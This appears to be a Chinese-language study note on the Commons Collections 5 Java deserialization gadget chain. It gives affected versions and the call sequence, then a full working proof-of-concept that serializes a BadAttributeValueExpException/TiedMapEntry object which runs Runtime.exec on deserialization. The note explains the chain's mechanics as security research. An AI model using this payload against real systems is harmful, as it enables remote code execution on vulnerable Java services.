Apache-Commons-Collections 5
目录
LazyMap+TideMap+BadAttributeValueExpException
版本
CommonsCollections 3.1 - 3.2.1,JDK 7u80 以上(低于7u80的BadAttributeValueExpException 无readObject方法)
利用链
调试该链时,因为涉及toString函数调用,所以idea调试请关闭此俩选项
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
前半部分和CC1一样,后半部分引入了TiedMapEntry 和BadAttributeValueExpException ,我们来分析一下这俩东西。
TiedMapEntry
首先我们在CC1中已经知道了LazyMap的get方法会触发其在decorate中传入的Transfromer类的transform方法。
在TiedMapEntry类中存在方法getValue,会调用在构造函数中传入的map的get方法
而且在TiedMapEntry类中同时也存在方法toString会调用getValue方法
BadAttributeValueExpException
该类的readObject方法如下
这里会调用toString方法,然后进入TideMapEntry开始链的执行。 这里valObj就是val变量的值。
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
所以我们在POC中用反射将val变量进行了赋值,赋的值是恶意TiedMapEntry 对象。
这里有一个细节就是,val变量是可以通过构造函数赋值的。
但是如果用构造函数直接给val赋值的话,会导致val在赋值的时候便触发toString,导致在反序列化时,valObject的值改变,导致原本预期的逻辑改变,无法进入预想的分支。
这是预期的情况(通过后期反射赋值val)
这是非预期情况(通过构造函数直接给val赋值,这里的val值直接变成了一个字符串,不要以为是ProcessImpl对象!注意引号!)